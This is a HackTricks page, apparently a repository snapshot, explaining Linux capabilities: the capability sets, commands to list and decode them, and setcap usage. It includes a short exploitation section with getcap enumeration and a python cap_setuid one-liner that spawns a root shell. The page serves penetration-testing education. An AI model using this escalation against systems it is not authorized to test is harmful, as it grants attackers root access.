hacktricks/linux-unix/privilege-escalation/linux-capabilities.md
2020-08-27 16:07:19 +00:00

8.2 KiB
Raw Blame History

Linux Capabilities

Capabilities

Normally the root user or any ID with UID of 0 gets a special treatment when running processes. The kernel and applications are usually programmed to skip the restriction of some activities when seeing this user ID. In other words, this user is allowed to do almost anything.

Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.

Why capabilities?

To better understand how Linux capabilities work, lets have a look first at the problem it tries to solve.

Lets assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions.

List Capabilities

#You list all the capabilities with
capsh --print

Here you can find some capabilities with short descriptions

Capabilities name Description
CAP_AUDIT_CONTROL Allow to enable/disable kernel auditing
CAP_AUDIT_WRITE Helps to write records to kernel auditing log
CAP_BLOCK_SUSPEND This feature can block system suspends
CAP_CHOWN Allow user to make arbitrary change to files UIDs and GIDs full filesystem access
CAP_DAC_OVERRIDE This helps to bypass file read, write and execute permission checks full filesystem access
CAP_DAC_READ_SEARCH This only bypass file and directory read/execute permission checks
CAP_FOWNER This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file
CAP_KILL Allow the sending of signals to processes belonging to others
CAP_SETGID Allow changing of the GID
CAP_SETUID Allow changing of the UID set UID of root in you process
CAP_SETPCAP Helps to transferring and removal of current set to any PID
CAP_IPC_LOCK This helps to lock memory
CAP_MAC_ADMIN Allow MAC configuration or state changes
CAP_NET_RAW Use RAW and PACKET sockets
CAP_NET_BIND_SERVICE SERVICE Bind a socket to internet domain privileged ports
CAP_SYS_CHROOT Ability to call chroot()

Capabilities Sets

Inherited capabilities

CapEff: The effective capability set represents all capabilities the process is using at the moment. For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls.

CapPrm: The permitted set includes all capabilities a process may use. These capabilities are allowed to be copied to the effective set and used after that.

CapInh: Using the inherited set all capabilities that are allowed to be inherited from a parent process can be specified. This prevents a process from receiving any capabilities it does not need. This set is preserved across an execve and is usually set by a process receiving capabilities rather than by a process thats handing out capabilities to its children.

CapBnd: With the bounding set its possible to restrict the capabilities a process may ever receive. Only capabilities that are present in the bounding set will be allowed in the inheritable and permitted sets.

CapAmb: The ambient capability set applies to all non-SUID binaries without file capabilities. It preserves capabilities when calling execve. However, not all capabilities in the ambient set may be preserved because they are being dropped in case they are not present in either the inheritable or permitted capability set. This set is preserved across execve calls.

Processes Capabilities

To see the capabilities for a particular process, use the status file in the /proc directory. As it provides more details, lets limit it only to the information related to Linux capabilities.

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

This command should return 5 lines on most systems.

  • CapInh = Inherited capabilities
  • CapPrm = Permitted capabilities
  • CapEff = Effective capabilities
  • CapBnd = Bounding set
  • CapAmb = Ambient capabilities set
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

These hexadecimal numbers dont make sense. Using the capsh utility we can decode them into the capabilities name.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Although that works, there is another and easier way. To see the capabilities of a running process, simply use the getpcaps tool followed by its process ID PID. You can also provide a list of process IDs.

getpcaps 1234

The getpcaps tool uses the capget() system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information.

Malicious Use

Capabilities are useful when you want to restrict your own processes after performing privileged operations e.g. after setting up chroot and binding to a socket. However, they can be exploited by passing them malicious commands or arguments which are then run as root.

You can force capabilities upon programs using setcap, and query these using getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

The +ep means youre adding the capability “-” would remove it as Effective and Permitted.

To identify programs in a system or folder with capabilities:

getcap -r / 2>/dev/null

Exploitation example

In the following example the binary /usr/bin/python2.6 is found vulnerable to privesc:

getcap -r / 2>/dev/null
/usr/bin/python2.6 = cap_setuid+ep

#Exploit
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capabilities needed by tcpdump to allow any user to sniff packets:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

The special case of "empty" capabilities

Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:

  1. is not owned by root
  2. has no SUID/SGID bits set
  3. has empty capabilities set e.g.: `getcap myelf` returns `myelf =ep`

then that binary will run as root.

References